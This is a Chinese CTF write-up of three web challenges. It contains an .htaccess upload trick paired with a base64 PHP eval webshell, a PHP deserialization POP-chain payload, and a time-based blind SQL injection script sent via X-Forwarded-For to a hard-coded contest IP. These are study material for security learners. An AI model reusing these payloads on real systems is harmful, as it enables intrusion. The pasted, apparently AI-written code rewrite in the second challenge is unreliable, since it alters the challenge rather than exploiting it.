Web
1、Web | upload_2_shell
参考:SUCTF的一些题解 - SecPulse.COM | 安全脉搏
BUU WEB [SUCTF 2019]EasyWeb_buu easy_web-CSDN博客
但这道题使用的是.htaccess解析
.htaccess:
这段文本似乎涉及一个安全问题,即上传恶意文件并利用服务器配置的漏洞来执行远程代码(RCE)。这里的.htaccess文件被用来重写图片文件的解析方式,使其能够被PHP解析,并自动执行base64编码的PHP代码。
#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./wenda.jpg"
AddType application/x-httpd-php .jpg
(小编能力有限当时就只能做到这一步了,比赛期间flag没能给大家打出来真的很抱歉,小北我会继续努力的!)
wenda.jpg:
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
然后上传然后rce:
flag{b0909bf1-93ce-4a34-9db8-108d387e0802}
2、Web | unse
源码:
<?php
include("./test.php");
if(isset($_GET['fun'])){
if(justafun($_GET['fun'])){
include($_GET['fun']);
}
}else{
unserialize($_GET['yourcode']);
}
highlight_file(__FILE__);
?>
先伪协议读取test.php 然后得到反序列化源码:
这段PHP代码似乎存在一些安全问题,因为它允许通过GET参数直接包含和执行文件,这可能会导致远程代码执行(RCE)的安全漏洞。
这段代码的工作方式如下:
- 如果
fun
参数在GET请求中设置,它会检查justafun()
函数是否返回真。如果返回真,那么就会包含并执行相应的文件。 - 如果没有设置
fun
参数,那么它会尝试反序列化yourcode
参数。 - 最后,它会对当前文件进行语法高亮处理。
其中,
justafun()
函数可能是一个安全检查,用于确保只包含和执行预期的文件。然而,通过直接使用
$_GET['fun']
作为参数,这可能被恶意用户利用,导致包含和执行任意文件。
这是一个可能的风险,因为PHP的
include()
函数会执行所包含的代码。这意味着如果一个恶意用户能够通过
fun
参数包含并执行一个包含恶意代码的文件,那么他们可能会执行任意代码。
为了防止这种情况,你应该避免直接使用用户提供的输入来包含和执行文件。你可以考虑使用白名单机制来限制可以包含的文件,或者在包含文件之前对文件名进行某种形式的验证或过滤。例如,你可以检查文件名是否仅包含预期的字符,或者使用函数如
str_replace()
来移除可能有害的字符或路径分隔符。
另外,反序列化操作也可能存在安全风险。反序列化是将序列化的数据转回为对象的过程。如果反序列化的数据来自不可信的来源,那么它可能包含恶意代码,导致RCE漏洞。因此,除非你完全信任反序列化的数据来源,否则应该避免反序列化。
总的来说,这段代码需要一些安全修复才能安全地使用。
<?php
$test = "Hello world";
include "flag.php";
function justafun($filename){
$result = preg_match("/flag|zlib|string/i", $filename);
if($result){
return FALSE;
}
return TRUE;
}
class afun {
private $a;
function __wakeup(){
$temp = $this->a . 'ctf';
}
}
class bfun {
private $items = array();
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife;
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __get($key) {
global $flag;
$tmp = $this->params[$key];
var_dump($$tmp);
}
}
a中的$this->a触发bgood中的__toString方法,将$this->a赋值为new bfun()。
bdun中的$items[‘dd’]触发cfun中的__get函数,给$items[‘dd’]赋值为new cfun()。
最后让cdun中的$params[‘knife’]=”flag”
在上述提供的PHP代码中,我们正在尝试通过多个类的相互作用来获取一个名为
flag
的全局变量的值。你已经为这些类定义了几个魔术方法,如
__wakeup()
,
__toString()
, 和
__get()
,并计划通过特定的方式来触发这些方法。
让我们详细分析你的计划:
- 在
afun
类的__wakeup()
方法中,你试图将私有属性$a
与字符串'ctf'
连接。但是,由于$a
是私有的,你不能直接从类的外部访问它。你需要一个方法来间接地修改它的值。 - 你希望
$this->a
在bfun
类的__toString()
方法中触发,并计划将$this->a
设置为new bfun()
的实例。但是,你需要在某个地方初始化这个afun
类的实例,并确保其__wakeup()
方法被调用。 - 你还希望
bfun
类中的$items['dd']
触发cfun
类中的__get()
方法。为此,你需要将$items['dd']
设置为new cfun()
的实例。 - 最后,你计划让
cfun
类中的$params['knife']
等于字符串"flag"
,这样当你尝试访问它时,它会输出全局变量$flag
的值。
基于上述分析,以下是如何实现你的计划的代码:
php复制代码
<?php
$test = "Hello world";
include "flag.php";
function justafun($filename){
$result = preg_match("/flag|zlib|string/i", $filename);
if($result){
return FALSE;
}
return TRUE;
}
class afun {
private $a;
function __wakeup(){
$this->a = new bfun();
}
}
class bfun {
private $items = array();
public function __construct() {
$this->items['dd'] = new cfun();
}
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife; // This will trigger the __get() method in the cfun class
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __construct() {
$this->params['knife'] = 'flag';
}
public function __get($key) {
global $flag;
echo $flag; // Directly output the flag instead of var_dump(
$$
tmp), which may not give the desired output
}
}
// Initialize and serialize the afun class instance to trigger the __wakeup() method
$obj = new afun();
$serialized_obj = serialize($obj);
unserialize($serialized_obj); // This will output the flag value
上述代码中,我们对类进行了一些修改并添加了构造函数来确保所需的实例化和属性赋值。我们还修改了
__get()
方法中的代码来直接输出标志值。
<?php
$test = "Hello world";
include "flag.php";
function justafun($filename){
$result = preg_match("/flag|zlib|string/i", $filename);
if($result){
return FALSE;
}
return TRUE;
}
class afun {
private $a;
function __wakeup(){
$temp = $this->a . 'ctf';
}
}
class bfun {
private $items = array();
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife;
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __get($key) {
global $flag;
$tmp = $this->params[$key];
var_dump($$tmp);
}
}
这里注意私有变量需要内部构造函数来进行触发其他魔术方法:
这里这种框框换成%00 或者url编码也行
得到payload:
?yourcode=O:4:%22afun%22:1:{s:7:%22%00afun%00a%22;O:4:%22bfun%22:1:{s:11:%22%00bfun%00items%22;a:1:{s:2:%22dd%22;O:4:%22cfun%22:1:{s:12:%22%00cfun%00params%22;a:1:{s:5:%22knife%22;s:4:%22flag%22;}}}}}
得到flag:
flag{9972d10d-566a-42fd-8f6b-d770c1853ea5}
有点类似这道题:
https://www.cnblogs.com/zzjdbk/p/13617530.html
3、Web | 盲人摸象
没做出来 感觉是XFF盲注 INSERT INTO 注入 然后原题...
Bugku writeup3 - Junay的博客
Bugku-INSERT INTO 注入 - 简书 (jianshu.com)
给个脚本:
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://47.106.186.166:31590/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
flag
flag{cdbf14c9551d5be5612f7bb5d2867853}
杂项签到题可以参考小编的这篇博客———Misc | i have the flag:
“古剑山”第一届全国大学生网络攻防大赛初赛————(签到题)Misc | i have the flag-CSDN博客
版权归原作者 Stitch . 所有, 如有侵权,请联系我们删除。